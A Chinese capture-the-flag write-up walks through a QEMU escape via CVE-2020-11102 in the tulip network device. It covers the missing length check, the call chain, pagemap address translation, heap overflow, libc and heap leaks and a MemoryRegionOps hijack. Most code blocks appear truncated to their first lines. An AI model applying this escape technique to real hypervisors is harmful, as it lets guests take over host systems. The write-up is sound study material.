EscapefromtheEarth 复现
1 | !/bin/sh |
1 | !/bin/sh |
启动内核发现是 root 权限:
1 | / |
- 本题目提供了
qemu-system-x86_64
,那极有可能是 qemu 逃逸
漏洞分析
qemu 逃逸一般在如下4个函数中出现 BUG:
- pmio_read:读设备寄存器的物理地址(使用
in()
触发) - pmio_write:写设备寄存器的物理地址(使用
out()
触发) - mmio_read:读设备寄存器的虚拟地址(使用 mmap 映射物理内存,读这片区域时触发)
- mmio_write:写设备寄存器的虚拟地址(使用 mmap 映射物理内存,写这片区域时触发)
但本题目并没有注册 mmio / pmio 的相关函数,题目提供的线索指向 CVE-2020-11102,并提供的 qemu 的编译过程:
1 | wget https://download.qemu.org/qemu-4.2.0.tar.xz |
- QEMU 4.2.0 版本中的
hw/net/tulip.c
文件存在缓冲区错误漏洞 - 攻击者可利用该漏洞造成 QEMU 进程崩溃或可能以 QEMU 进程权限执行任意代码
于是我们去下载 QEMU 4.2.1 的源码,用 diff 判断一下程序修改了哪里:
1 | --- tulip.c 2023-03-29 14:50:12.000000000 +0800 |
可以发现函数 tulip_copy_tx_buffers
中缺少了一个检查,核心代码如下:
1 | if (len1) { |
tulip_copy_tx_buffers
是一个 TULIP 库中的函数,用于将设备驱动程序中的数据传输到网络适配器的物理内存中- 当我们多次调用
tulip_copy_tx_buffers
时,s->tx_frame_len
可能被加到一个非常大的值
未对虚拟机传入的长度字段进行校验,导致产生了针对 tx_frame
和 rx_framd
的数组越界写,这两个数组都是结构体 TULIPState
的条目:
1 | typedef struct TULIPState |
程序分析
本题目找不到 tulip.ko 的设备标识符:
1 | / |
IDA 分析发现,tulip.ko 只注册了驱动,但是没有注册设备标识符:(其实 Qemu 逃逸类题目和内核题目不同,大多数时候都不需要设备标识符)
1 | __int64 __fastcall tulip_init(__int64 a1, __int64 a2) |
先使用 info pci
查看 qemu 的 PCI 设备:
1 | Bus 0, device 4, function 0: |
- 需要先在 run.sh 中添加
-monitor telnet:127.0.0.1:4444,server,nowait
选项 - 然后使用
nc 127.0.0.1 4444
和info pci
进行查看
基于 0xc000 我们就可以使用 pmio 来调用 tulip_read
和 tulip_write
:
1 | static const MemoryRegionOps tulip_ops = { |
函数 tulip_write
的功能较为复杂,这里只分析我们需要的部分:
1 |
|
函数 tulip_xmit_list_update
会间接调用漏洞函数,我们可以分析一下调用链:
1 | static void tulip_xmit_list_update(TULIPState *s) |
1 | static void tulip_copy_tx_buffers(TULIPState *s, struct tulip_descriptor *desc) |
- 调用链为:
tulip_write -> tulip_xmit_list_update -> tulip_copy_tx_buffers -> pci_dma_read
- 条件为:
tulip_ts(s) == CSR5_TS_SUSPENDED
在设置了 TDES1_LS
后,则会调用 tulip_tx
函数:
1 | static void tulip_tx(TULIPState *s, struct tulip_descriptor *desc) |
- 在通过
s->csr[6] >> CSR6_OM_SHIFT) & CSR6_OM_MASK
条件后则会调用tulip_receive
1 | static ssize_t tulip_receive(TULIPState *s, const uint8_t *buf, size_t size) |
函数 tulip_copy_rx_bytes
的作用和 tulip_copy_tx_buffers
相反:
1 | static void tulip_copy_rx_bytes(TULIPState *s, struct tulip_descriptor *desc) |
- 在
tulip_copy_rx_bytes
中也同样没有检查 size 范围,可以将rx_frame
后的数据读取到用户空间
核心结构体 tulip_descriptor
的代码如下:
1 | struct tulip_descriptor { |
入侵思路
在 tulip_xmit_list_update
中会从 current_tx_desc
中读取网络适配器的描述符:
1 | tulip_desc_read(s, s->current_tx_desc, &desc); /* 从s->current_tx_desc中读取网络适配器的描述符,并写入desc */ |
- 此时
tulip_desc_read
函数需要传入物理地址
我们可以通过 /proc/self/pagemap
计算出物理地址:
1 | fd = open("/proc/self/pagemap", O_RDONLY); |
1 | uint32_t page_offset(uint32_t addr) { |
1 | uint64_t gva_to_gfn(void *addr) { |
1 | uint64_t gva_to_gpa(void *addr) { |
如果我们将 tx_frame_len
设置为 0x800,那么接下来往 tx_frame[2048]
中写的数据就可能会向下溢出
下面是测试代码:
1 | int len1 = 0x400 << 0; |
接着我们就可以通过 pci_dma_read
函数修改 TULIPState->tx_frame
往后的数据,然后利用 pci_dma_write
泄露数据:
1 | printf("[*] clean CSR5\n"); |
泄露 libc_base 和 heap_base 以后,我们就可以劫持并伪造 TULIPState->MemoryRegion->MemoryRegionOps
来执行我们需要的函数:
1 | struct MemoryRegion { |
测试代码如下:
1 | printf("[*] enter stage2\n"); { |
1 | printf("[*] enter stage3\n"); { |
完整 exp 如下:
1 |
|
小结:
刚刚入门 qemu 逃逸,理解并调试了下别人的 exp(本题目没有移除调试符号,调试起来还是很轻松的)